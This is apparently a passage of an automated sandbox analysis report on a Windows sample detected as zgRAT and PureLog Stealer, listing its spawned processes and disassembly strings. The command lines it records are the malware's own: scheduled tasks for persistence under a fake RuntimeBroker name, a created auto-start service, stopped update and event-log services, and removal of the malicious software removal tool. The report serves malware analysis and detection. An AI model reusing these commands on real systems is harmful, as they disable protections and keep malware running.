Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 74%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7f7180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe"
Imagebase:	0x950000
File size:	1'968'128 bytes
MD5 hash:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7a9260000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 8 /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 11 /tr "'C:\Windows\RemotePackages\RemoteDesktops\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\sB1sK52ORC.bat"
Imagebase:	0x7ff7f7180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff711110000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:32:04
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:32:04
Start date:	25/04/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 10 localhost
Imagebase:	0x7ff71e300000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:32:04
Start date:	25/04/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff783440000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	10:32:04
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "IFAYFBKT"
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:32:04
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:32:04
Start date:	25/04/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	10:32:04
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "IFAYFBKT" binpath= "C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe" start= "auto"
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	10:32:04
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	10:32:05
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	10:32:05
Start date:	25/04/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "IFAYFBKT"
Imagebase:	0x7ff635830000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	10:32:05
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	10:32:05
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	10:32:05
Start date:	25/04/2024
Path:	C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe
Imagebase:	0x7ff615570000
File size:	5'475'840 bytes
MD5 hash:	7A568EF3F46D369F3D3FFD68FDF68573
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 81%, ReversingLabs Detection: 61%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 00007FF7F4D6DC08 Relevance: 154.6, APIs: 22, Strings: 66, Instructions: 610
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF7F4D6DC5F
LoadLibraryW.KERNELBASE ref: 00007FF7F4D6DD7F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6DE35
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6DE3B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6DE41
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D6DE47
GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF7F4D6DE98
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7F4D6DEB0
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7F4D6DEDD

Strings

WindowsCodecs.dll, xrefs: 00007FF7F4D6E093
rasadhlp.dll, xrefs: 00007FF7F4D6E18F
linkinfo.dll, xrefs: 00007FF7F4D6E1C7
shell32.dll, xrefs: 00007FF7F4D6E03F
cabinet.dll, xrefs: 00007FF7F4D6E05B
cryptbase.dll, xrefs: 00007FF7F4D6DF48
slc.dll, xrefs: 00007FF7F4D6E0BD
dnsapi.DLL, xrefs: 00007FF7F4D6E0D9
usp10.dll, xrefs: 00007FF7F4D6DF5E
wintrust.dll, xrefs: 00007FF7F4D6E031
samlib.dll, xrefs: 00007FF7F4D6E157
aclui.dll, xrefs: 00007FF7F4D6E1F1
dsrole.dll, xrefs: 00007FF7F4D6E1FF
dhcpcsvc6.dll, xrefs: 00007FF7F4D6E19D
RpcRtRemote.dll, xrefs: 00007FF7F4D6E1E3
dfscli.dll, xrefs: 00007FF7F4D6E173
DXGIDebug.dll, xrefs: 00007FF7F4D6DF06, 00007FF7F4D6E436
browcli.dll, xrefs: 00007FF7F4D6E181
psapi.dll, xrefs: 00007FF7F4D6DF95
lpk.dll, xrefs: 00007FF7F4D6DF53
shdocvw.dll, xrefs: 00007FF7F4D6DFF9
secur32.dll, xrefs: 00007FF7F4D6E04D
mpr.dll, xrefs: 00007FF7F4D6E111
setupapi.dll, xrefs: 00007FF7F4D6DFC1
SSPICLI.DLL, xrefs: 00007FF7F4D6DF1C
XmlLite.dll, xrefs: 00007FF7F4D6E1B9
UXTheme.dll, xrefs: 00007FF7F4D6DF32
sfc_os.dll, xrefs: 00007FF7F4D6DF11
netutils.dll, xrefs: 00007FF7F4D6E103
uxtheme.dll, xrefs: 00007FF7F4D6E4ED
ieframe.dll, xrefs: 00007FF7F4D6DFA0
ntmarta.dll, xrefs: 00007FF7F4D6E077
peerdist.dll, xrefs: 00007FF7F4D6E20D
srvcli.dll, xrefs: 00007FF7F4D6E0A1
comres.dll, xrefs: 00007FF7F4D6DF74
cryptsp.dll, xrefs: 00007FF7F4D6E1D5
clbcatq.dll, xrefs: 00007FF7F4D6DF69
rsaenh.dll, xrefs: 00007FF7F4D6DF27
version.dll, xrefs: 00007FF7F4D6DEFB
msasn1.dll, xrefs: 00007FF7F4D6E015
ws2_32.dll, xrefs: 00007FF7F4D6DF7F
propsys.dll, xrefs: 00007FF7F4D6E12D
atl.dll, xrefs: 00007FF7F4D6DFB6
ws2help.dll, xrefs: 00007FF7F4D6DF8A
netapi32.dll, xrefs: 00007FF7F4D6DFEB
imageres.dll, xrefs: 00007FF7F4D6E0CB
wkscli.dll, xrefs: 00007FF7F4D6E165
SetDefaultDllDirectories, xrefs: 00007FF7F4D6DED3
oleaccrc.dll, xrefs: 00007FF7F4D6E069
dhcpcsvc.dll, xrefs: 00007FF7F4D6E1AB
crypt32.dll, xrefs: 00007FF7F4D6E007
devrtl.dll, xrefs: 00007FF7F4D6E11F
WINNSI.DLL, xrefs: 00007FF7F4D6E0F5
dwmapi.dll, xrefs: 00007FF7F4D6DF3D, 00007FF7F4D6E4E1
samcli.dll, xrefs: 00007FF7F4D6E149
apphelp.dll, xrefs: 00007FF7F4D6DFCF
cscapi.dll, xrefs: 00007FF7F4D6E0AF
kernel32, xrefs: 00007FF7F4D6DE91
userenv.dll, xrefs: 00007FF7F4D6DFDD
ntshrui.dll, xrefs: 00007FF7F4D6DFAB
profapi.dll, xrefs: 00007FF7F4D6E085
mlang.dll, xrefs: 00007FF7F4D6E13B
iphlpapi.DLL, xrefs: 00007FF7F4D6E0E7
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF7F4D6E5BB
cryptui.dll, xrefs: 00007FF7F4D6E023
SetDllDirectoryW, xrefs: 00007FF7F4D6DEA6

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AddressProc$DirectoryHandleLibraryLoadModuleSystem
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 751436351-2013832382
Opcode ID: 4c8ee9132ef04ca432ae846c1f1bfdea82b2824a45e1760f6555dcb5b633aa6a
Instruction ID: 321cbd605bf145814ff23141c9b857d3ffc69c3c09062a3c362f1be26395003f
Opcode Fuzzy Hash: 4c8ee9132ef04ca432ae846c1f1bfdea82b2824a45e1760f6555dcb5b633aa6a
Instruction Fuzzy Hash: 8B623D31A09F86EAEB11AF66E8801E9B3A4FF45754F800236DB6D567E5EF38D144C390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7ECA0 Relevance: 123.9, APIs: 60, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D6215C: GetDlgItem.USER32 ref: 00007FF7F4D621AC
Part of subcall function 00007FF7F4D6215C: SetDlgItemTextW.USER32 ref: 00007FF7F4D621C8

EndDialog.USER32 ref: 00007FF7F4D7EDE0
SetDlgItemTextW.USER32 ref: 00007FF7F4D7EE30
GetMessageW.USER32 ref: 00007FF7F4D7EE60
IsDialogMessageW.USER32 ref: 00007FF7F4D7EE79
TranslateMessage.USER32 ref: 00007FF7F4D7EE8B
DispatchMessageW.USER32 ref: 00007FF7F4D7EE99
EndDialog.USER32 ref: 00007FF7F4D7EEE3
GetDlgItem.USER32 ref: 00007FF7F4D7EF20
IsDlgButtonChecked.USER32 ref: 00007FF7F4D7EF41
IsDlgButtonChecked.USER32 ref: 00007FF7F4D7EF59
SetFocus.USER32 ref: 00007FF7F4D7EF62
GetLastError.KERNEL32 ref: 00007FF7F4D7F144
GetLastError.KERNEL32 ref: 00007FF7F4D7F175
GetTickCount.KERNEL32 ref: 00007FF7F4D7F19B
GetLastError.KERNEL32 ref: 00007FF7F4D7F205
GetCommandLineW.KERNEL32 ref: 00007FF7F4D7F351
CreateFileMappingW.KERNEL32 ref: 00007FF7F4D7F410
MapViewOfFile.KERNEL32 ref: 00007FF7F4D7F433
Sleep.KERNEL32 ref: 00007FF7F4D7F4C6
UnmapViewOfFile.KERNEL32 ref: 00007FF7F4D7F4EF
CloseHandle.KERNEL32 ref: 00007FF7F4D7F4F8
SetDlgItemTextW.USER32 ref: 00007FF7F4D7F7EE
DialogBoxParamW.USER32 ref: 00007FF7F4D7FBE7
EndDialog.USER32 ref: 00007FF7F4D7FBFF
EnableWindow.USER32 ref: 00007FF7F4D7FDB6
IsDlgButtonChecked.USER32 ref: 00007FF7F4D7FE08
ShellExecuteExW.SHELL32 ref: 00007FF7F4D7F46B

Part of subcall function 00007FF7F4D6AEE0: LoadStringW.USER32 ref: 00007FF7F4D6AF67
Part of subcall function 00007FF7F4D6AEE0: LoadStringW.USER32 ref: 00007FF7F4D6AF80

IsDlgButtonChecked.USER32 ref: 00007FF7F4D7F9D3
SendDlgItemMessageW.USER32 ref: 00007FF7F4D7F9FA
GetDlgItem.USER32 ref: 00007FF7F4D7FA08
IsDlgButtonChecked.USER32 ref: 00007FF7F4D7FA22
GetDlgItem.USER32 ref: 00007FF7F4D7FA5F
SetDlgItemTextW.USER32 ref: 00007FF7F4D7FAFC
SetDlgItemTextW.USER32 ref: 00007FF7F4D7FB14
SetDlgItemTextW.USER32 ref: 00007FF7F4D7FE31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7FE73
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7FE79
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7FE7F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7FE85
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7FE8B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D7FE91
SendDlgItemMessageW.USER32 ref: 00007FF7F4D7FF59
EndDialog.USER32 ref: 00007FF7F4D7FF73
GetDlgItem.USER32 ref: 00007FF7F4D7FFA1
SetFocus.USER32 ref: 00007FF7F4D7FFAA
SendDlgItemMessageW.USER32 ref: 00007FF7F4D8004E
FindFirstFileW.KERNEL32 ref: 00007FF7F4D80072
FindClose.KERNEL32 ref: 00007FF7F4D8019A
SendDlgItemMessageW.USER32 ref: 00007FF7F4D802BF

Part of subcall function 00007FF7F4D612BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7F4D613B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D805B9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D805BF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D805C5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D805CB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D805D1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D805D7

Strings

STARTDLG, xrefs: 00007FF7F4D7ECDA
runas, xrefs: 00007FF7F4D7F2D9
__tmp_rar_sfx_access_check_, xrefs: 00007FF7F4D7F1B9
LICENSEDLG, xrefs: 00007FF7F4D7FBD9
p, xrefs: 00007FF7F4D7F2BB
%s %s, xrefs: 00007FF7F4D801E9, 00007FF7F4D80456
REPLACEFILEDLG, xrefs: 00007FF7F4D7FEE3
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF7F4D7F2A9
winrarsfxmappingfile.tmp, xrefs: 00007FF7F4D7F3F0
@, xrefs: 00007FF7F4D7F2C6

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
